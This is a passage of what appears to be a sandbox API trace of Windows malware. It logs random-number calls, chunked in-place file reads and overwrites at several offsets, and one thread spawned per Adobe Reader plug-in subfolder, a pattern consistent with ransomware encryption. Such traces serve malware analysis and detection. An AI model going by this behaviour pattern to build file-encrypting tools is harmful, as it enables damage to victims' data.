0x79e0edf1 [0057.203] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x2545c917 [0057.203] RtlRandomEx (in: Seed=0x1779f9b4 | out: Seed=0x1779f9b4) returned 0x785b5d8c [0057.214] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.214] ReadFile (in: hFile=0x914, lpBuffer=0x12f322a8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1779f960, lpOverlapped=0x0 | out: lpBuffer=0x12f322a8*, lpNumberOfBytesRead=0x1779f960*=0xc800, lpOverlapped=0x0) returned 1 [0057.220] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.220] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.220] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.220] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460f60 [0057.220] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460f60) returned 1 [0057.221] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x195d68f0 [0057.225] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460f60 [0057.225] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460df8 [0057.225] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460df8) returned 1 [0057.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.226] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.226] WriteFile (in: hFile=0x914, lpBuffer=0x195d68f0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1779f960, lpOverlapped=0x0 | out: lpBuffer=0x195d68f0*, lpNumberOfBytesWritten=0x1779f960*=0xc800, lpOverlapped=0x0) returned 1 [0059.142] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195d68f0) returned 1 [0059.142] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x11f800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.145] ReadFile (in: hFile=0x914, lpBuffer=0x12f322a8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1779f960, lpOverlapped=0x0 | out: lpBuffer=0x12f322a8*, lpNumberOfBytesRead=0x1779f960*=0xc800, lpOverlapped=0x0) returned 1 [0059.147] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x11f800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.147] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.147] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.147] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460760 [0059.147] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460760) returned 1 [0059.148] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12f3eab0 [0059.149] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460760 [0059.149] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460710 [0059.149] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460710) returned 1 [0059.149] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.149] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.149] WriteFile (in: hFile=0x914, lpBuffer=0x12f3eab0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1779f960, lpOverlapped=0x0 | out: lpBuffer=0x12f3eab0*, lpNumberOfBytesWritten=0x1779f960*=0xc800, lpOverlapped=0x0) returned 1 [0064.432] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f3eab0) returned 1 [0064.433] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x228263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.433] ReadFile (in: hFile=0x914, lpBuffer=0x12f322a8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1779f960, lpOverlapped=0x0 | out: lpBuffer=0x12f322a8*, lpNumberOfBytesRead=0x1779f960*=0xc800, lpOverlapped=0x0) returned 1 [0064.435] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x228263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.435] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.435] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437f58 [0064.435] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460080 [0064.435] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460080) returned 1 [0064.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12f3eab0 [0064.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460080 [0064.436] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460008 [0064.436] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460008) returned 1 [0064.436] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437f58) returned 1 [0064.436] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.436] WriteFile (in: hFile=0x914, lpBuffer=0x12f3eab0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1779f960, lpOverlapped=0x0 | out: lpBuffer=0x12f3eab0*, lpNumberOfBytesWritten=0x1779f960*=0xc800, lpOverlapped=0x0) returned 1 [0066.658] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f3eab0) returned 1 [0066.658] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48dc78 [0066.658] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.658] WriteFile (hFile=0x914, lpBuffer=0x44ea08, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0x1779fa08, lpOverlapped=0x0) Thread: id = 920 os_tid = 0x123c [0051.972] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cc4c8 [0051.973] wcscpy (in: _Dest=0x97cc4c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" [0051.973] wcscat (in: _Dest=0x97cc4c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\" [0051.973] wcscat (in: _Dest=0x97cc4c8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*" [0051.973] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e06300 [0051.973] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4403a0 [0059.038] wcscmp (_String1=".", _String2=".") returned 0 [0059.038] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.038] wcscmp (_String1="..", _String2=".") returned 1 [0059.038] wcscmp (_String1="..", _String2="..") returned 0 [0059.039] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d87a080, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1 [0059.039] wcscmp (_String1="MPP", _String2=".") returned 1 [0059.039] wcscmp (_String1="MPP", _String2="..") returned 1 [0059.039] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x97cd7c8 [0059.039] wcscpy (in: _Dest=0x97cd7c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" [0059.039] wcscat (in: _Dest=0x97cd7c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\" [0059.039] wcscat (in: _Dest=0x97cd7c8, _Source="MPP" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP" [0063.902] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x97cd7c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1164 [0063.903] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_CZE", cAlternateFileName="")) returned 1 [0063.903] wcscmp (_String1="MPP_CZE", _String2=".") returned 1 [0063.903] wcscmp (_String1="MPP_CZE", _String2="..") returned 1 [0063.903] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec4d28 [0063.903] wcscpy (in: _Dest=0x5ec4d28, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" [0063.903] wcscat (in: _Dest=0x5ec4d28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\" [0063.903] wcscat (in: _Dest=0x5ec4d28, _Source="MPP_CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE" [0063.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec4d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x123c [0063.904] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HRV", cAlternateFileName="")) returned 1 [0063.904] wcscmp (_String1="MPP_HRV", _String2=".") returned 1 [0063.904] wcscmp (_String1="MPP_HRV", _String2="..") returned 1 [0063.904] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5548 [0063.904] wcscpy (in: _Dest=0x5ec5548, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" [0063.904] wcscat (in: _Dest=0x5ec5548, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\" [0063.904] wcscat (in: _Dest=0x5ec5548, _Source="MPP_HRV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV" [0063.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec5548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1230 [0063.905] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HUN", cAlternateFileName="")) returned 1 [0063.905] wcscmp (_String1="MPP_HUN", _String2=".") returned 1 [0063.905] wcscmp (_String1="MPP_HUN", _String2="..") returned 1 [0063.905] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5728 [0063.905] wcscpy (in: _Dest=0x5ec5728, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" [0063.906] wcscat (in: _Dest=0x5ec5728, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\" [0063.906] wcscat (in: _Dest=0x5ec5728, _Source="MPP_HUN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN" [0063.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec5728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x122c [0063.907] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_POL", cAlternateFileName="")) returned 1 [0063.907] wcscmp (_String1="MPP_POL", _String2=".") returned 1 [0063.907] wcscmp (_String1="MPP_POL", _String2="..") returned 1 [0063.907] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec57c8 [0063.907] wcscpy (in: _Dest=0x5ec57c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" [0063.907] wcscat (in: _Dest=0x5ec57c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\" [0063.907] wcscat (in: _Dest=0x5ec57c8, _Source="MPP_POL" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL" [0063.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec57c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1228 [0063.908] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUM", cAlternateFileName="")) returned 1 [0063.908] wcscmp (_String1="MPP_RUM", _String2=".") returned 1 [0063.908] wcscmp (_String1="MPP_RUM", _String2="..") returned 1 [0063.908] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5868 [0063.908] wcscpy (in: _Dest=0x5ec5868, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" [0063.908] wcscat (in: _Dest=0x5ec5868, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\" [0063.908] wcscat (in: _Dest=0x5ec5868, _Source="MPP_RUM" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUM" [0063.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec5868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740 [0063.909] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_RUS", cAlternateFileName="")) returned 1 [0063.909] wcscmp (_String1="MPP_RUS", _String2=".") returned 1 [0063.909] wcscmp (_String1="MPP_RUS", _String2="..") returned 1 [0063.909] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5908 [0063.909] wcscpy (in: _Dest=0x5ec5908, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" [0063.909] wcscat (in: _Dest=0x5ec5908, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\" [0063.909] wcscat (in: _Dest=0x5ec5908, _Source="MPP_RUS" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_RUS" [0063.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec5908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0063.910] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d807c60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SKY", cAlternateFileName="")) returned 1 [0063.911] wcscmp (_String1="MPP_SKY", _String2=".") returned 1 [0063.911] wcscmp (_String1="MPP_SKY", _String2="..") returned 1 [0063.911] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec59a8 [0063.911] wcscpy (in: _Dest=0x5ec59a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" [0063.911] wcscat (in: _Dest=0x5ec59a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\" [0063.911] wcscat (in: _Dest=0x5ec59a8, _Source="MPP_SKY" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SKY" [0063.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec59a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6e0 [0063.912] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d807c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d807c60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_SLV", cAlternateFileName="")) returned 1 [0063.912] wcscmp (_String1="MPP_SLV", _String2=".") returned 1 [0063.912] wcscmp (_String1="MPP_SLV", _String2="..") returned 1 [0063.912] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5a48 [0063.912] wcscpy (in: _Dest=0x5ec5a48, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" [0063.912] wcscat (in: _Dest=0x5ec5a48, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\" [0063.912] wcscat (in: _Dest=0x5ec5a48, _Source="MPP_SLV" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_SLV" [0063.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5ec5a48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0063.913] FindNextFileW (in: hFindFile=0x4403a0, lpFindFileData=0x12e06300 | out: lpFindFileData=0x12e06300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7e1b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d7e1b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d7e1b00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_TUR", cAlternateFileName="")) returned 1 [0063.913] wcscmp (_String1="MPP_TUR", _String2=".") returned 1 [0063.913] wcscmp (_String1="MPP_TUR", _String2="..") returned 1 [0063.913] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec5ae8 [0063.913] wcscpy (in: _Dest=0x5ec5ae8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Reader 